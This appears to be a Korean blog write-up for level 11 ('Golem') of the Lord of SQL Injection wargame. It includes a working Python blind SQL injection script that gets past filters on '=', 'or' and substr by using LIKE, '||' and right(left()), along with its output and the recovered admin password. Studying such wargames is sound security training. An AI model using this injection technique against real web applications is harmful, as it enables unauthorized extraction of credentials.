WarGame/Lord of SQL Injection

[LOSI] Lord of SQL Injection Level 11 - Golem

이번 시간은 Blind SQL Injection이 필요한 몬스터 Golem이다.(확실하다 이 던전은 둔한 친구들에게 Blind SQL Injection을 부여했다.) 바로 코드로 만나보자

<출처 : 위키백과 https://ko.wikipedia.org/wiki/%EA%B3%A8%EB%A0%98 >

* 4번문제인 Orc에 Blind SQL Injection 스크립트의 동작 설명이 되어있습니다. *

* 본 문제의 해결을 위한 Blind SQL Injection은 Python으로 작성되었습니다. *

2021.04.13 - [정보보안-실습/SQL Injection] - [LOSI] Lord of SQL Injection Level 4 - Orc

 

[LOSI] Lord of SQL Injection Level 4 - Orc

무서운 몬스터가 우리 앞을 막아섰다. 오크라고 불리는 이 몬스터는.... 심각하게 뚱뚱한 이 몬스터를 쉽게 이길수 없다는 생각이 든다. 일단 코드를 확인하자. * 주의 : 이번 포스팅은 Python을 기

tutoreducto.tistory.com


코드 

논리연산자 뿐만이 아니라 등호(=)와 우리가 자주 사용하던 substr(이 막혔다... 정말 단단한 방어력을 가진 몬스터이지만 우리는 답을 찾을 것이다. 정답을 확인하기 전에 먼저 GOLEM을 상대할 힌트를 주자면 등호와 substr를 대체할 함수 역시 존재한다.


해결방법

Answer url : los.rubiya.kr/chall/XXXX.php?pw=77d6290b
import string
from requests import get

if __name__=="__main__" :
    url = ### GOLEM의 URL ###
    length=0
    abc = string.digits + string.ascii_letters
    cookie = dict(PHPSESSID="### 자신의 PHPSESSID값 ###")
    password=""

    print("### find for password length ###")
    while(True) :
        param = "?pw=%27%20||%20id%20like(%27admin%27)%26%26%20length(pw)%20like("+str(length)+")--%20;"
        new_url = url+param
        rec = get(new_url,cookies=cookie)

        if(rec.text.find("Hello admin")>=0) :
            print("find password length : "+str(length))
            break

        print(str(length)+" is wrong pw length")
        length+=1

    print("\n\n### find for real password ###")

    for i in range(1,length+1) :
        for a in abc :
            param = "?pw=1%27%20||%20id%20like(%27admin%27)%20%26%26%20ascii(right(left(pw,"+str(i)+"),1))%20like("+str(ord(a))+")--%20;"
            new_url = url+param
            rec = get(new_url,cookies=cookie)

            if(rec.text.find("Hello admin")>=0) :
                print("find "+str(i)+" password : "+a)
                password+=a
                break

    print("="*20)
    print(" here is password : "+password)

 

 

파이프가 or를 우회하기위해 사용되었으며, 다음의 함수들은 필터링된 요소를 대체하기 위해 사용되었다.

1. LIKE(parameter) : 등호(=)의 대체로 사용되었다. DATABASE에서 등호와 같은 의미를 가진다. 
2. RIGHT(parameter, length) : 문자열 parameter의 마지막부터 length만큼을 반환한다
3. LEFT(parameter, length) : 문자열 parameter의 처음부터 length만큼을 반환한다. RIGHT()와 같이 사용되어 SUBSTR을 구현하였다. 

 

이렇게 알아낸 GOLEM의 답안은 다음과 같다.

### find for password length ###
0 is wrong pw length
1 is wrong pw length
2 is wrong pw length
3 is wrong pw length
4 is wrong pw length
5 is wrong pw length
6 is wrong pw length
7 is wrong pw length
find password length : 8


### find for real password ###
find 1 password : 7
find 2 password : 7
find 3 password : d
find 4 password : 6
find 5 password : 2
find 6 password : 9
find 7 password : 0
find 8 password : b
====================
 here is password : 77d6290b

축하한다. 우리는 단단한 방어력을 가진 GOLEM을 쓰러뜨렸다.


방어가 단단해 보여도, 뚫을 방법은 반드시 존재한다. 이를 염두에 두고 여러분들도 열심히 SQL Injection을 공부했으면 좋겠다. 다음 관문에서 여러분을 기다리겠다.(아마 다음이 GOLEM과 비슷해서 간단하게 올라갈듯 싶다.)